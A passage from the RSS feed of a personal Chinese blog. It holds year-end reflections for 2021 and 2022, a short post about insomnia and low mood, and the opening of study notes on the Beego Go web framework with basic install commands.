<p>&#x7531;&#x4E8E;&#x662F;&#x5907;&#x8003;&#x63D2;&#x672C;&#x7684;&#x5173;&#x7CFB;&#xFF0C;&#x987A;&#x5E26;&#x628A;<code>C</code>&#x4E5F;&#x5B66;&#x4E60;&#x4E86;&#xFF0C;&#x638C;&#x63E1;&#x4E86;&#x90E8;&#x5206;&#x7B97;&#x6CD5;&#xFF0C;&#x5728;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x4E2D;&#x4E5F;&#x6269;&#x5C55;&#x4E86;&#x6211;&#x5F00;&#x53D1;&#x7684;&#x89C6;&#x91CE;&#x548C;&#x601D;&#x8DEF;&#x3002;&#x63D2;&#x672C;&#x590D;&#x4E60;&#x7684;&#x8FDB;&#x5EA6;&#x4E5F;&#x4E0D;&#x9519;(<code>iPad&#x65E0;&#x7EB8;&#x5316;&#x5B66;&#x4E60;</code>&#x771F;&#x7684;&#x592A;&#x68D2;&#x4E86;)&#xFF0C;<code>&#x9AD8;&#x6570;</code>&#x3001;<code>&#x4E13;&#x4E1A;&#x8BFE;</code>&#x3001;<code>&#x82F1;&#x8BED;</code>&#x5DF2;&#x7ECF;&#x5728;N&#x5237;&#x4E86;&#x3002;&#x3002;&#x3002;1&#x6708;&#x4EFD;&#x53EF;&#x4EE5;&#x7740;&#x624B;&#x80CC;&#x8BF5;<code>&#x653F;&#x6CBB;</code>&#x4E86;&#xFF0C;&#x53EA;&#x80FD;&#x8BF4;&#x662F;&#x5F80;&#x6B7B;&#x91CC;&#x80CC;&#x5427;&#x3002;</p>
<h1 id="0x3-%E8%AE%A1%E5%88%92">0x3 &#x8BA1;&#x5212;</h1>
<p><s>- [ ] &#x63D2;&#x672C;&#x4E0A;&#x5CB8;(&#x7EC8;&#x7A76;&#x662F;&#x683D;&#x5728;&#x4E86;&#x653F;&#x6CBB;)</s></p>
<ul>
<li>[x] &#x52A0;&#x5F3A;<code>&#x7B97;&#x6CD5;</code>&#x77E5;&#x8BC6;</li>
</ul>
<h1 id="0x4-%E7%BB%93%E8%AF%AD">0x4 &#x7ED3;&#x8BED;</h1>
<p>2022&#x5E74;&#x8DCC;&#x5B95;&#x8D77;&#x4F0F;&#xFF0C;&#x8D77;&#x8D77;&#x843D;&#x843D;&#x3002;&#x591A;&#x5C11;&#x4EBA;&#x56E0;&#x4E3A;&#x75AB;&#x60C5;&#x5931;&#x4E1A;&#x3001;&#x9694;&#x79BB;&#x3001;&#x5931;&#x8D25;&#x627F;&#x53D7;&#x4E86;&#x8FD9;&#x4E2A;&#x5E74;&#x7EAA;&#x4E0D;&#x5E94;&#x8BE5;&#x627F;&#x53D7;&#x7684;&#x538B;&#x529B;&#x3002;&#x89C1;&#x8BC1;&#x4E86;&#x8BB8;&#x591A;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#x4EBA;&#x95F4;&#x70DF;&#x706B;&#xFF0C;&#x4ECE;&#x9632;&#x75AB;&#x5230;&#x6297;&#x75AB;&#xFF0C;&#x4ECE;&#x9694;&#x79BB;&#x5230;&#x5F00;&#x653E;&#xFF0C;&#x4ECE;&#x5E7B;&#x9633;&#x5230;&#x60A3;&#x9633;&#x518D;&#x5230;&#x9633;&#x5EB7;&#x7B49;&#x7B49;&#x3002;&#x8FD9;&#x4E00;&#x4EE3;&#x7684;&#x6211;&#x4EEC;&#x5F88;&#x575A;&#x5F3A;&#xFF01;&#x867D;&#x7136;&#x73B0;&#x5728;&#x5927;&#x5BB6;&#x90FD;&#x5F88;&#x96BE;&#x8FC7;&#xFF0C;&#x4F46;&#x6211;&#x76F8;&#x4FE1;&#x4E00;&#x5207;&#x90FD;&#x5728;&#x5F80;&#x597D;&#x7684;&#x53D1;&#x5C55;&#xFF0C;&#x6B63;&#x5982;&#x5F00;&#x5934;&#x6240;&#x8BF4;<strong>&#x51AC;&#x5929;&#x5230;&#x4E86;&#xFF0C;&#x6625;&#x5929;&#x8FD8;&#x4F1A;&#x8FDC;&#x5417;&#xFF1F;</strong></p>
<p><strong>&#x795D;&#x798F;&#x5927;&#x5BB6;&#x65B0;&#x5E74;&#x5FEB;&#x4E50;&#xFF0C;&#x8EAB;&#x4F53;&#x5065;&#x5EB7;&#xFF01;</strong></p>
]]></content:encoded></item><item><title><![CDATA[2021年总结以及新年计划]]></title><description><![CDATA[这一年整体上无疑比2019、2020年都要顺利。很多事情都开始变得不一样了，似乎可以完全控制自己的生活节奏了。如果说2019年是自我反复挣扎的一年，2020年是焦虑失控的一年，那2021年就是自我治疗和接纳的一年了。]]></description><link>https://iobiji.com/2021-summary-and-2022-plan/</link><guid isPermaLink="false">656e0e57d732aa747eb2817b</guid><category><![CDATA[生活杂记]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Fri, 31 Dec 2021 13:36:00 GMT</pubDate><media:content url="https://cdn.iobiji.com/2021/12/2022.png" medium="image"/><content:encoded><![CDATA[<h1 id="0x0-%E5%89%8D%E8%A8%80">0x0 &#x524D;&#x8A00;</h1>
<blockquote>
<img src="https://cdn.iobiji.com/2021/12/2022.png" alt="2021&#x5E74;&#x603B;&#x7ED3;&#x4EE5;&#x53CA;&#x65B0;&#x5E74;&#x8BA1;&#x5212;"><p>&#x83B7;&#x5F97;&#x3001;&#x5931;&#x53BB;&#x3001;&#x91CA;&#x6000;&#x3001;&#x6210;&#x957F;&#x3001;&#x5B8C;&#x7ED3;&#x3001;&#x5F85;&#x7EED;&#xFF0C;&#x4E00;&#x5E74;&#x53C8;&#x4E00;&#x5E74;&#x3002;</p>
</blockquote>
<p>&#x8FD9;&#x4E00;&#x5E74;&#x6574;&#x4F53;&#x4E0A;&#x65E0;&#x7591;&#x6BD4;2019&#x3001;2020&#x5E74;&#x90FD;&#x8981;&#x987A;&#x5229;&#x3002;&#x5F88;&#x591A;&#x4E8B;&#x60C5;&#x90FD;&#x5F00;&#x59CB;&#x53D8;&#x5F97;&#x4E0D;&#x4E00;&#x6837;&#x4E86;&#xFF0C;&#x4F3C;&#x4E4E;&#x53EF;&#x4EE5;&#x5B8C;&#x5168;&#x63A7;&#x5236;&#x81EA;&#x5DF1;&#x7684;&#x751F;&#x6D3B;&#x8282;&#x594F;&#x4E86;&#x3002;&#x5982;&#x679C;&#x8BF4;2019&#x5E74;&#x662F;&#x81EA;&#x6211;&#x53CD;&#x590D;&#x6323;&#x624E;&#x7684;&#x4E00;&#x5E74;&#xFF0C;2020&#x5E74;&#x662F;&#x7126;&#x8651;&#x5931;&#x63A7;&#x7684;&#x4E00;&#x5E74;&#xFF0C;&#x90A3;2021&#x5E74;&#x5C31;&#x662F;&#x81EA;&#x6211;&#x6CBB;&#x7597;&#x548C;&#x63A5;&#x7EB3;&#x7684;&#x4E00;&#x5E74;&#x4E86;&#x3002;</p>
<h1 id="0x1-%E5%B7%A5%E4%BD%9C">0x1 &#x5DE5;&#x4F5C;</h1>
<p>&#x4ECA;&#x5E74;&#x5C31;&#x505A;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;<code>brief</code>&#x5427;&#xFF0C;&#x65B9;&#x5411;&#x4F9D;&#x7136;&#x662F;&#x4EE5;<code>web&#x5168;&#x6808;&#x5F00;&#x53D1;</code>&#x4E3A;&#x4E3B;&#x3002;&#x4F46;&#x4ECA;&#x5E74;&#x4E5F;&#x591A;&#x4E86;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x65B9;&#x5411;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;<code>&#x4EE3;&#x7801;&#x5BA1;&#x8BA1;</code>&#x3002;&#x6240;&#x4EE5;&#x5728;&#x63A5;&#x4E0B;&#x6765;&#x7684;&#x65F6;&#x95F4;&#x91CC;&#xFF0C;&#x4E0D;&#x4EC5;&#x662F;&#x53BB;&#x505A;&#x597D;&#x5F00;&#x53D1;&#x7684;&#x4E8B;&#x60C5;&#xFF0C;&#x540C;&#x65F6;&#x4E5F;&#x8981;&#x5B66;&#x4E60;<code>&#x5BA1;&#x8BA1;</code>&#x65B9;&#x9762;&#x7684;&#x5404;&#x79CD;&#x77E5;&#x8BC6;&#xFF0C;&#x5E0C;&#x671B;&#x5728;&#x6BD5;&#x4E1A;&#x4E4B;&#x524D;&#x5F62;&#x6210;&#x4E00;&#x4E2A;&#x6BD4;&#x8F83;&#x826F;&#x597D;&#x7684;<code>&#x77E5;&#x8BC6;&#x50A8;&#x5907;&#x5E93;</code>&#x3002;</p>
<h1 id="0x2-%E7%94%9F%E6%B4%BB">0x2 &#x751F;&#x6D3B;</h1>
<p>&#x8FD9;&#x4E00;&#x5E74;&#x91CC;&#x5728;&#x751F;&#x6D3B;&#x4E0A;&#x6211;&#x4E3B;&#x8981;&#x505A;&#x4E86;&#x4E24;&#x65B9;&#x9762;&#x7684;&#x4E8B;&#x60C5;&#xFF0C;&#x5728;&#x6211;&#x770B;&#x6765;&#x90FD;&#x6781;&#x4E3A;&#x91CD;&#x8981;&#x3002;&#x4E00;&#x662F;&#x5728;<code>&#x5FC3;&#x7406;</code>&#x4E0A;&#x52AA;&#x529B;&#x8BA9;&#x81EA;&#x5DF1;&#x6109;&#x60A6;&#xFF0C;&#x4E8C;&#x662F;<code>&#x8EAB;&#x4F53;</code>&#x4E0A;&#x52AA;&#x529B;&#x8BA9;&#x81EA;&#x5DF1;&#x5065;&#x5EB7;&#x3002;&#x8FD9;&#x4E00;&#x5E74;&#x91CC;&#x6709;&#x5728;&#x575A;&#x6301;&#x5065;&#x8EAB;&#xFF0C;&#x4E5F;&#x6709;&#x5728;&#x575A;&#x6301;&#x6253;&#x7403;&#x8BAD;&#x7EC3;&#xFF0C;&#x4E8B;&#x5B9E;&#x8BC1;&#x660E;&#xFF0C;&#x5728;&#x8FD9;&#x4E9B;&#x575A;&#x6301;&#x4E0B;&#xFF0C;&#x8EAB;&#x4F53;&#x597D;&#x4E86;&#x5F88;&#x591A;&#xFF0C;&#x6574;&#x4E2A;&#x4EBA;&#x7684;&#x7CBE;&#x795E;&#x72B6;&#x6001;&#x4E5F;&#x597D;&#x4E86;&#x8D77;&#x6765;&#xFF0C;&#x73B0;&#x5728;&#x751A;&#x81F3;&#x662F;&#x4E0D;&#x8FD0;&#x52A8;&#x5C31;&#x6D51;&#x8EAB;&#x96BE;&#x53D7;&#x3001;&#x5750;&#x7ACB;&#x4E0D;&#x5B89;&#xFF0C;&#x5BF9;&#x6211;&#x6765;&#x8BF4;&#x5DF2;&#x7ECF;&#x6210;&#x4E3A;&#x4E86;&#x4E00;&#x79CD;&#x4E60;&#x60EF;&#x3002;&#x66F4;&#x786E;&#x5207;&#x5730;&#x8BF4;&#xFF0C;&#x5065;&#x8EAB;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#xFF0C;&#x4E0D;&#x7BA1;&#x662F;&#x8FD0;&#x52A8;&#x91CA;&#x653E;&#x538B;&#x529B;&#x3001;&#x770B;&#x5230;&#x81EA;&#x5DF1;&#x6BD4;&#x4EE5;&#x524D;&#x66F4;&#x5F3A;&#x4E86;&#xFF0C;&#x770B;&#x5230;&#x81EA;&#x5DF1;&#x7684;&#x8EAB;&#x6750;&#x66F4;&#x597D;&#x4E86;&#xFF0C;&#x672C;&#x8EAB;&#x5C31;&#x662F;&#x5FEB;&#x4E50;&#x7684;&#x3002;&#x8EAB;&#x4F53;&#x597D;&#x4E86;&#x4E4B;&#x540E;&#xFF0C;&#x505A;&#x5F88;&#x591A;&#x4E8B;&#x60C5;&#x90FD;&#x53D8;&#x5F97;&#x5BB9;&#x6613;&#x8D77;&#x6765;&#x3002;&#x5176;&#x6B21;&#x662F;&#xFF0C;&#x6211;&#x6BCF;&#x5929;&#x90FD;&#x4F1A;&#x6652;&#x534A;&#x4E2A;&#x5C0F;&#x65F6;&#x7684;&#x65E5;&#x5149;&#x6D74;&#xFF0C;&#x6652;&#x7684;&#x65F6;&#x5019;&#x53EF;&#x4EE5;&#x95ED;&#x4E0A;&#x773C;&#x775B;&#x51A5;&#x60F3;&#x4E5F;&#x53EF;&#x4EE5;&#x4EC0;&#x4E48;&#x90FD;&#x4E0D;&#x60F3;&#xFF0C;&#x6BCF;&#x6B21;&#x4E0B;&#x6765;&#xFF0C;&#x6211;&#x90FD;&#x89C9;&#x5F97;&#x81EA;&#x5DF1;&#x653E;&#x677E;&#x4E86;&#x4E0B;&#x6765;&#x3002;&#x6700;&#x8FD1;&#x4E00;&#x4E2A;&#x6708;&#x6765;&#xFF0C;&#x7761;&#x7720;&#x4E5F;&#x5F97;&#x5230;&#x4E86;&#x6539;&#x5584;&#xFF0C;&#x4ECE;&#x4EE5;&#x524D;&#x7684;&#x51CC;&#x6668;4&#x3001;5&#x70B9;&#x90FD;&#x7761;&#x4E0D;&#x7740;&#x5230;&#x73B0;&#x5728;12&#x70B9;&#x5C31;&#x53EF;&#x4EE5;&#x5165;&#x7761;&#x3002;&#x5185;&#x5FC3;&#x5E73;&#x9759;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x66F4;&#x80FD;&#x51B7;&#x9759;&#x7A33;&#x59A5;&#x5730;&#x5904;&#x7406;&#x597D;&#x4E00;&#x4E9B;&#x4E8B;&#x60C5;&#xFF0C;&#x4E0D;&#x7BA1;&#x662F;&#x5DE5;&#x4F5C;&#x8FD8;&#x662F;&#x751F;&#x6D3B;&#x3002;</p>
<h1 id="0x3-%E5%AD%A6%E4%B9%A0">0x3 &#x5B66;&#x4E60;</h1>
<p>&#x4ECA;&#x5E74;&#x5B66;&#x4E60;&#x7684;&#x8FDB;&#x5EA6;&#x5728;&#x6211;&#x770B;&#x6765;&#x8FD8;&#x662F;&#x6BD4;&#x8F83;&#x4E0D;&#x9519;&#x7684;&#xFF0C;&#x516D;&#x7EA7;&#x521A;&#x8003;&#x5B8C;&#x6CA1;&#x591A;&#x4E45;&#xFF0C;&#x4E00;&#x6B21;&#x8FC7;&#x7684;&#x4E86;&#x3002;&#x73B0;&#x5728;&#x4E3B;&#x8981;&#x7CBE;&#x529B;&#x8FD8;&#x662F;&#x653E;&#x5728;&#x4E86;<code>java</code>&#x77E5;&#x8BC6;&#x7D2F;&#x79EF;&#x548C;<code>&#x4EE3;&#x7801;&#x5BA1;&#x8BA1;</code>&#x4E0A;&#xFF0C;&#x540E;&#x9762;&#x7684;&#x8BA1;&#x5212;&#x8FD8;&#x662F;&#x7EE7;&#x7EED;&#x6DF1;&#x5165;&#x5B66;&#x4E60;&#x3002;&#x6709;&#x7A7A;&#x5C31;&#x8BFB;&#x4E66;&#xFF0C;&#x4E0D;&#x7BA1;&#x4E00;&#x5E74;&#x80FD;&#x770B;&#x51E0;&#x672C;&#x4E66;&#xFF0C;&#x4F46;&#x603B;&#x5F52;&#x662F;&#x8981;&#x770B;&#x4E66;&#x7684;&#x3002;</p>
<h1 id="0x4-%E8%AE%A1%E5%88%92">0x4 &#x8BA1;&#x5212;</h1>
<ul>
<li>
<p>[x] &#x590D;&#x4E60;&#x4E13;&#x63D2;&#x672C;</p>
</li>
<li>
<p>[x] &#x52A0;&#x5F3A;<code>java</code>&#x6280;&#x80FD;</p>
</li>
<li>
<p>[x] &#x50A8;&#x5907;<code>&#x4EE3;&#x7801;&#x5BA1;&#x8BA1;</code>&#x77E5;&#x8BC6;</p>
</li>
</ul>
<h1 id="0x5-%E7%BB%93%E8%AF%AD">0x5 &#x7ED3;&#x8BED;</h1>
<p>&#x9A6C;&#x4E0A;2021&#x5E74;&#x5C31;&#x8981;&#x8FC7;&#x53BB;&#x4E86;&#xFF0C;&#x53EF;&#x80FD;&#x5728;&#x6211;&#x4EBA;&#x751F;&#x5386;&#x7A0B;&#x7684;21&#x5E74;&#x91CC;&#xFF0C;2021&#x662F;&#x6700;&#x7279;&#x522B;&#x7684;&#x4E00;&#x5E74;&#x3002;</p>
<p>&#x8FD9;&#x4E00;&#x5E74;&#x4E5F;&#x662F;&#x6211;&#x6210;&#x957F;&#x6700;&#x5FEB;&#x7684;&#x4E00;&#x5E74;&#xFF0C;&#x4E0D;&#x7BA1;&#x662F;&#x54EA;&#x4E2A;&#x65B9;&#x9762;&#x3002;</p>
<p><strong>&#x795D;&#x5927;&#x5BB6;&#x65B0;&#x5E74;&#x5FEB;&#x4E50;&#xFF0C;&#x5F97;&#x507F;&#x6240;&#x613F;&#xFF01;</strong></p>
]]></content:encoded></item><item><title><![CDATA[无题]]></title><description><![CDATA[一夜入秋，天气渐凉。这样的天气蛮适合睡懒觉，但最近的睡眠质量越来越差，以前吧，怎么个凌晨2、3点差不多能和周工谈笑风生，但现在到5、6点清晰无比，稍微眯一会儿眼睛就得起床上早课了。好似有某种不明所以的压迫感和无力感，紧紧地笼罩着我，像是头顶乌云一般。]]></description><link>https://iobiji.com/wu-ti/</link><guid isPermaLink="false">656e0e57d732aa747eb28179</guid><category><![CDATA[生活杂记]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Tue, 12 Oct 2021 17:43:32 GMT</pubDate><media:content url="https://cdn.iobiji.com/2021/10/WechatIMG454.jpeg" medium="image"/><content:encoded><![CDATA[<h1 id="%E9%9A%8F%E4%BE%BF%E5%86%99%E5%86%99">&#x968F;&#x4FBF;&#x5199;&#x5199;</h1>
<blockquote>
<img src="https://cdn.iobiji.com/2021/10/WechatIMG454.jpeg" alt="&#x65E0;&#x9898;"><p>&#x6700;&#x8FD1;&#x5B9E;&#x5728;&#x662F;&#x592A;&#x4E27;&#x4E86;...&#x4E27;&#x7684;&#x8BA9;&#x6211;&#x5BB3;&#x6015;&#xFF0C;&#x75B2;&#x60EB;&#xFF0C;&#x50CF;&#x662F;&#x4E8C;&#x5341;&#x4E00;&#x5E74;&#x7684;&#x4EBA;&#x751F;&#x5DF2;&#x7ECF;&#x8FC7;&#x4E86;&#x4E00;&#x8F88;&#x5B50;&#x3002;</p>
</blockquote>
<p>&#x4E00;&#x591C;&#x5165;&#x79CB;&#xFF0C;&#x5929;&#x6C14;&#x6E10;&#x51C9;&#x3002;&#x8FD9;&#x6837;&#x7684;&#x5929;&#x6C14;&#x86EE;&#x9002;&#x5408;&#x7761;&#x61D2;&#x89C9;&#xFF0C;&#x4F46;&#x6700;&#x8FD1;&#x7684;&#x7761;&#x7720;&#x8D28;&#x91CF;&#x8D8A;&#x6765;&#x8D8A;&#x5DEE;&#xFF0C;&#x4EE5;&#x524D;&#x5427;&#xFF0C;&#x600E;&#x4E48;&#x4E2A;&#x51CC;&#x6668;2&#x3001;3&#x70B9;&#x5DEE;&#x4E0D;&#x591A;&#x80FD;&#x548C;&#x5468;&#x5DE5;&#x8C08;&#x7B11;&#x98CE;&#x751F;&#xFF0C;&#x4F46;&#x73B0;&#x5728;&#x5230;5&#x3001;6&#x70B9;&#x6E05;&#x6670;&#x65E0;&#x6BD4;&#xFF0C;&#x7A0D;&#x5FAE;&#x772F;&#x4E00;&#x4F1A;&#x513F;&#x773C;&#x775B;&#x5C31;&#x5F97;&#x8D77;&#x5E8A;&#x4E0A;&#x65E9;&#x8BFE;&#x4E86;&#x3002;&#x597D;&#x4F3C;&#x6709;&#x67D0;&#x79CD;&#x4E0D;&#x660E;&#x6240;&#x4EE5;&#x7684;&#x538B;&#x8FEB;&#x611F;&#x548C;&#x65E0;&#x529B;&#x611F;&#xFF0C;&#x7D27;&#x7D27;&#x5730;&#x7B3C;&#x7F69;&#x7740;&#x6211;&#xFF0C;&#x50CF;&#x662F;&#x5934;&#x9876;&#x4E4C;&#x4E91;&#x4E00;&#x822C;&#x3002;</p>
<p>&#x56FD;&#x5E86;&#x7684;&#x5F53;&#x5929;&#xFF0C;&#x611F;&#x5192;&#x4E86;&#xFF0C;&#x660F;&#x660F;&#x6C89;&#x6C89;&#x7761;&#x4E86;&#x597D;&#x51E0;&#x5929;&#xFF0C;&#x4E0D;&#x89C1;&#x597D;&#x8F6C;&#xFF0C;&#x4EE5;&#x4E3A;&#x6CA1;&#x5403;&#x836F;&#xFF0C;&#x6342;&#x88AB;&#x5B50;&#x51FA;&#x51FA;&#x6C57;&#x5C31;&#x597D;&#x4E86;&#xFF0C;&#x6700;&#x540E;&#x8FD8;&#x662F;&#x53BB;&#x4E70;&#x4E86;&#x76D2;999&#x611F;&#x5192;&#x7075;&#xFF0C;&#x5403;&#x4E86;&#x4E24;&#x5929;&#x597D;&#x4E86;&#x3002;&#x4E5F;&#x8BB8;&#x662F;&#x4F11;&#x606F;&#x4E0D;&#x597D;&#x3001;&#x5FC3;&#x7406;&#x4E0A;&#x4E5F;&#x4E0D;&#x592A;&#x8FC7;&#x5F97;&#x53BB;&#x5BFC;&#x81F4;&#x62B5;&#x6297;&#x529B;&#x53D8;&#x5DEE;&#x4E86;&#xFF0C;&#x867D;&#x7136;&#x4E5F;&#x6709;&#x5728;&#x5065;&#x8EAB;&#x3001;&#x6253;&#x7403;&#x3002;</p>
<p>&#x5F88;&#x591A;&#x6280;&#x672F;&#x7C7B;&#x7684;&#x8BFE;&#x7A0B;&#xFF0C;&#x6211;&#x90FD;&#x5411;&#x8001;&#x5E08;&#x7533;&#x8BF7;&#x4E86;&#x514D;&#x4FEE;&#x4EE5;&#x4FBF;&#x4E8E;&#x7A7A;&#x51FA;&#x66F4;&#x591A;&#x7684;&#x65F6;&#x95F4;&#x505A;&#x81EA;&#x5DF1;&#x7684;&#x4E8B;&#x60C5;&#xFF0C;&#x4F46;&#x6BCF;&#x5929;&#x7684;&#x7761;&#x7720;&#x8D28;&#x91CF;&#x5DEE;&#xFF0C;&#x4F11;&#x606F;&#x4E0D;&#x597D;&#xFF0C;&#x5FC3;&#x7406;&#x4F3C;&#x4E4E;&#x5F88;&#x96BE;&#x53BB;&#x96C6;&#x4E2D;&#x7CBE;&#x529B;&#x53BB;&#x7801;&#x9879;&#x76EE;&#x3001;&#x5B66;&#x4E60;&#x65B0;&#x7684;&#x77E5;&#x8BC6;&#xFF0C;&#x6548;&#x7387;&#x76F4;&#x7EBF;&#x4E0B;&#x964D;&#x7684;&#x8D8B;&#x52BF;&#xFF0C;&#x5FC3;&#x7406;&#x4E0A;&#x662F;&#x66F4;&#x591A;&#x7684;&#x65E0;&#x5948;&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x6B7B;&#x5FAA;&#x73AF;&#x3002;</p>
<p>&#x96BE;&#x9053;&#x771F;&#x8981;&#x662F;&#x5F97;&#x5F00;&#x5B89;&#x7720;&#x836F;&#x4E86;&#x5417;&#xFF0C;&#x6211;&#x4E0D;&#x60F3;&#x3002;</p>
<p>&#x4ECA;&#x5929;&#x5DF2;&#x7ECF;&#x662F;&#x5341;&#x6708;&#x4EFD;&#x5C06;&#x8FD1;&#x4E2D;&#x65EC;&#xFF0C;&#x518D;&#x8FC7;&#x4E00;&#x4E2A;&#x591A;&#x6708;&#xFF0C;&#x53C8;&#x8FCE;&#x6765;&#x4E86;2022&#x5E74;&#x4E86;&#x3002;</p>
<p>&#x53C8;&#x662F;&#x8BF8;&#x4E8B;&#x4E0D;&#x987A;&#x7684;&#x4E00;&#x5E74;&#x3002;</p>
<p>&#x5E0C;&#x671B;&#x81EA;&#x5DF1;&#x80FD;&#x597D;&#x597D;&#x8C03;&#x6574;&#x8FC7;&#x6765;&#x5427;&#x3002;</p>
<blockquote>
<p>&#x4E8B;&#x60C5;&#x5230;&#x5934;&#x6765;&#x603B;&#x4F1A;&#x53D8;&#x5F97;&#x660E;&#x6670;&#xFF0C;&#x751F;&#x6D3B;&#x4E5F;&#x4F1A;&#x9010;&#x6B65;&#x7A33;&#x5B9A;&#x7684;&#xFF0C;&#x5728;&#x4E00;&#x5B9A;&#x610F;&#x4E49;&#x4E0A;&#xFF0C;&#x6211;&#x4EEC;&#x7684;&#x751F;&#x6D3B;&#x603B;&#x662F;&#x901A;&#x8FC7;&#x4E00;&#x7CFB;&#x5217;&#x6392;&#x9664;&#x800C;&#x65E5;&#x6E10;&#x6210;&#x5F62;&#xFF1A;&#x6211;&#x4EEC;&#x4E22;&#x5F03;&#x4E0D;&#x80FD;&#x559C;&#x6B22;&#x7684;&#x4E1C;&#x897F;&#xFF0C;&#x629B;&#x5374;&#x4E0D;&#x80FD;&#x6FC0;&#x52B1;&#x6211;&#x4EEC;&#x7684;&#x4E1C;&#x897F;&#x3002;</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Beego学习笔记]]></title><description><![CDATA[`beego`是一个快速开发 Go 应用的 HTTP 框架，他可以用来快速开发 API、Web 及后端服务等各种应用，是一个 RESTful 的框架，主要设计灵感来源于 tornado、sinatra 和 flask 这三个框架，但是结合了 Go 本身的一些特性（interface、struct 嵌入等）而设计的一个框架。]]></description><link>https://iobiji.com/beego-learn-note/</link><guid isPermaLink="false">656e0e57d732aa747eb28178</guid><category><![CDATA[编程技术]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Wed, 19 May 2021 17:06:05 GMT</pubDate><media:content url="https://cdn.iobiji.com/2021/05/beego.png" medium="image"/><content:encoded><![CDATA[<h1 id="beego%E4%BB%8B%E7%BB%8D">Beego&#x4ECB;&#x7ECD;</h1>
<img src="https://cdn.iobiji.com/2021/05/beego.png" alt="Beego&#x5B66;&#x4E60;&#x7B14;&#x8BB0;"><p><code>beego</code>&#x662F;&#x4E00;&#x4E2A;&#x5FEB;&#x901F;&#x5F00;&#x53D1; Go &#x5E94;&#x7528;&#x7684; HTTP &#x6846;&#x67B6;&#xFF0C;&#x4ED6;&#x53EF;&#x4EE5;&#x7528;&#x6765;&#x5FEB;&#x901F;&#x5F00;&#x53D1; API&#x3001;Web &#x53CA;&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x7B49;&#x5404;&#x79CD;&#x5E94;&#x7528;&#xFF0C;&#x662F;&#x4E00;&#x4E2A; RESTful &#x7684;&#x6846;&#x67B6;&#xFF0C;&#x4E3B;&#x8981;&#x8BBE;&#x8BA1;&#x7075;&#x611F;&#x6765;&#x6E90;&#x4E8E; tornado&#x3001;sinatra &#x548C; flask &#x8FD9;&#x4E09;&#x4E2A;&#x6846;&#x67B6;&#xFF0C;&#x4F46;&#x662F;&#x7ED3;&#x5408;&#x4E86; Go &#x672C;&#x8EAB;&#x7684;&#x4E00;&#x4E9B;&#x7279;&#x6027;&#xFF08;interface&#x3001;struct &#x5D4C;&#x5165;&#x7B49;&#xFF09;&#x800C;&#x8BBE;&#x8BA1;&#x7684;&#x4E00;&#x4E2A;&#x6846;&#x67B6;&#x3002;</p>
<p>&#x76EE;&#x524D;&#x56FD;&#x5185;&#x7528;&#x7684;&#x6BD4;&#x8F83;&#x591A;&#x7684;&#x5C31;&#x662F;<code>beego</code>&#x548C;<code>gin</code>&#x4E24;&#x4E2A;&#x6846;&#x67B6;&#xFF0C;&#x5982;&#x679C;&#x9879;&#x76EE;&#x6BD4;&#x8F83;&#x5C0F;&#xFF0C;&#x4E2A;&#x4EBA;&#x5F00;&#x53D1;&#xFF0C;&#x5E76;&#x4E14;&#x53EA;&#x662F;&#x7528;<code>golang</code>&#x6765;&#x5199;&#x4E00;&#x4E9B;<code>api</code>&#x63A5;&#x53E3;&#x7684;&#x8BDD;&#xFF0C;<code>gin</code>&#x662F;&#x4E0D;&#x9519;&#x7684;&#x9009;&#x62E9;&#xFF0C;&#x5982;&#x679C;&#x662F;&#x56E2;&#x961F;&#x5F00;&#x53D1;&#x6216;&#x8005;&#x4E0D;&#x4EC5;&#x8981;&#x7528;<code>golang</code>&#x5199;<code>api</code>&#xFF0C;&#x8FD8;&#x8981;&#x7528;<code>golang</code>&#x5199;<code>web</code>&#x540E;&#x7AEF;&#xFF0C;&#x5E76;&#x4E14;&#x6CE8;&#x91CD;&#x4EE3;&#x7801;&#x8D28;&#x91CF;&#x7684;&#x8BDD;&#x5EFA;&#x8BAE;&#x4F7F;&#x7528;<code>beego</code>&#x3002;</p>
<h2 id="feature%E7%89%B9%E6%80%A7">Feature&#x7279;&#x6027;</h2>
<ol>
<li>MVC</li>
<li>REST</li>
<li>&#x667A;&#x80FD;&#x8DEF;&#x7531;</li>
<li>&#x65E5;&#x5FD7;&#x8C03;&#x8BD5;</li>
<li>&#x914D;&#x7F6E;&#x7BA1;&#x7406;</li>
<li>&#x6A21;&#x677F;&#x81EA;&#x52A8;&#x6E32;&#x67D3;</li>
<li>layout&#x8BBE;&#x8BA1;</li>
<li>&#x4E2D;&#x95F4;&#x4EF6;&#x63D2;&#x5165;&#x903B;&#x8F91;</li>
<li>&#x65B9;&#x4FBF;&#x7684;JSON/XML&#x670D;&#x52A1;</li>
</ol>
<h1 id="beego%E8%84%9A%E6%89%8B%E6%9E%B6%E5%AE%89%E8%A3%85">Beego&#x811A;&#x624B;&#x67B6;&#x5B89;&#x88C5;</h1>
<h2 id="bee%E8%84%9A%E6%89%8B%E6%9E%B6">bee&#x811A;&#x624B;&#x67B6;</h2>
<pre><code class="language-bash">go get github.com/beego/bee # &#x5168;&#x5C40;&#x5B89;&#x88C5;
</code></pre>
<h3 id="set%E8%AE%BE%E7%BD%AE%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8Fmaclinux">Set&#x8BBE;&#x7F6E;&#x73AF;&#x5883;&#x53D8;&#x91CF;Mac/Linux</h3>
<pre><code class="language-bash">#go&#x8BED;&#x8A00;&#x5B89;&#x88C5;&#x4E3B;&#x6839;&#x76EE;&#x5F55;
export GOROOT=/usr/local/go #&#x66FF;&#x6362;&#x4F60;&#x7684;&#x76EE;&#x5F55;
#GOPATH &#x662F;&#x81EA;&#x5DF1;&#x7684;go&#x9879;&#x76EE;&#x8DEF;&#x5F84;&#xFF0C;&#x81EA;&#x5B9A;&#x4E49;&#x8BBE;&#x7F6E;
